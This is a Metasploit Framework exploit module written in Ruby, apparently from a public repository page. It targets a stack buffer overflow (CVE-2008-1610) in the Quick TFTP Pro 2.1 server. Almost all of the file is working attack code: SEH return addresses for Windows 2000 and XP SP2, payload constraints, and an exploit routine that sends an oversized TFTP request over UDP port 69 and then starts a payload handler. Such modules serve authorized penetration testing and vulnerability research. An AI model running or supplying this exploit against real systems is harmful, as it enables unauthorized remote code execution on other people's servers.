cgranleese-r7
77 lines
2.0 KiB
Ruby
77 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the Quick TFTP Pro server
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product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
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in a DoS. This is a port of a sploit by Mati "muts" Aharoni.
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},
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'Author' => 'Saint Patrick',
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'References' => [
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['CVE', '2008-1610'],
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['OSVDB', '43784'],
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['BID', '28459'],
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['URL', 'http://web.archive.org/web/20080330000001/http://secunia.com:80/advisories/29494/'],
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],
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'DefaultOptions' => {
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'EXITFUNC' => 'process',
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},
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'Payload' => {
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'Space' => 460,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' => [
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['Windows Server 2000', { 'Ret' => 0x75022AC4 } ], # ws2help.dll
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['Windows XP SP2', { 'Ret' => 0x74D31458 } ], # oledlg.dll
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],
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'DefaultTarget' => 1,
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'DisclosureDate' => '2008-03-27',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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Opt::RPORT(69)
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]
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)
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end
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def exploit
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connect_udp
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print_status("Trying target #{target.name}...")
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sploit = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
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sploit += "A" * 1019
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seh = generate_seh_payload(target.ret)
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sploit += seh
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sploit += "\x00"
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udp_sock.put(sploit)
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print_status("Done.")
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handler
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disconnect_udp
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end
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end
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